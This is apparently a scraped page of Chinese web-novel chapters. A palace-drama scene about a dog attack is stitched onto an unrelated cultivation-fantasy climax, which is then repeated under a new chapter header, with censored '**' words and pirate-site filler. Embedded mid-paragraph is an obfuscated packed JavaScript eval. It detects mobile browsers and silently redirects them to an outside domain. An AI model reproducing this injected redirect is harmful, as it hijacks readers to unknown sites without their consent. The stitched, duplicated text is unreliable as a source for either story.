此时闵司捷也跟了过来,他是听到刚才跑出去那几个孩子的禀报,知道出了事儿,紧忙带着太医过来了。 “快让太医给庞公子瞧瞧!” 闵司捷拉住庞正豪。 庞正豪见太医过来,起身让开,随即视线落在姜云舒和谢无烬身上。 “乐安县主,听说前几日你便当街教训了我家小儿,本官属实没想到,你竟会跟一个孩子过不去,今日这事儿,你不给本官一个交代,没完!” 庞正豪同样是武将出身,标准的彪形大汉,一张脸生气时瞪着眼睛鼓着太阳穴,尤其凶悍。 “没完?庞大人是想怎么个没完法?” 谢无烬挑着音调走出来,将姜云舒护在身后,“听说你兵部有一个生死擂台,专门解决调节不开的矛盾,你那黑狗是本世子打死的,庞大人是想与我打擂台?” “你!” 庞正豪见是谢无烬,一时语塞,眼珠子瞪得更圆了。 跟活阎王打擂台,那不是用生死定正义,而是被阎王直接带去地府。 他是兵部侍郎,可常年在京,少有历炼,谢无烬就不同了,他可是实打实从死人堆里爬出来的,听说,当年他便是心口中了数箭,依旧摘了敌方将军的脑袋。 这活阎王的称号可不是凭空来的。 “不至于,不至于的。”闵司捷紧忙过来劝解,“这其中定然是有误会,云舒绝不是能伤害孩童之人。” 说着话,闵司捷朝姜云舒递了个眼神。 姜云舒转身将稚儿交给闵司捷,迎着庞正豪的视线看去,勾起的唇角透着一股寒凉。 “庞大人可不要是非不分,狗是你兵部侍郎家的狗,恶狗咬了你兵部侍郎的儿子,我们打死了狗救了你儿子,你应该感谢我才对! “你说什么?”庞正豪眼珠子鼓着,怒火蹭蹭地往上顶,气得嘴唇一个劲儿地颤。 正在他咬牙切齿时,身侧传来虚弱的声音。 “爹,是他们害我被黑大王咬,是那个女人!” 庞飞跃此时疼得恢复了意识,咬着牙,抬手指向姜云舒。 第173章 搬起石头砸了脚 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139931|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第174章 真是个祖宗 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 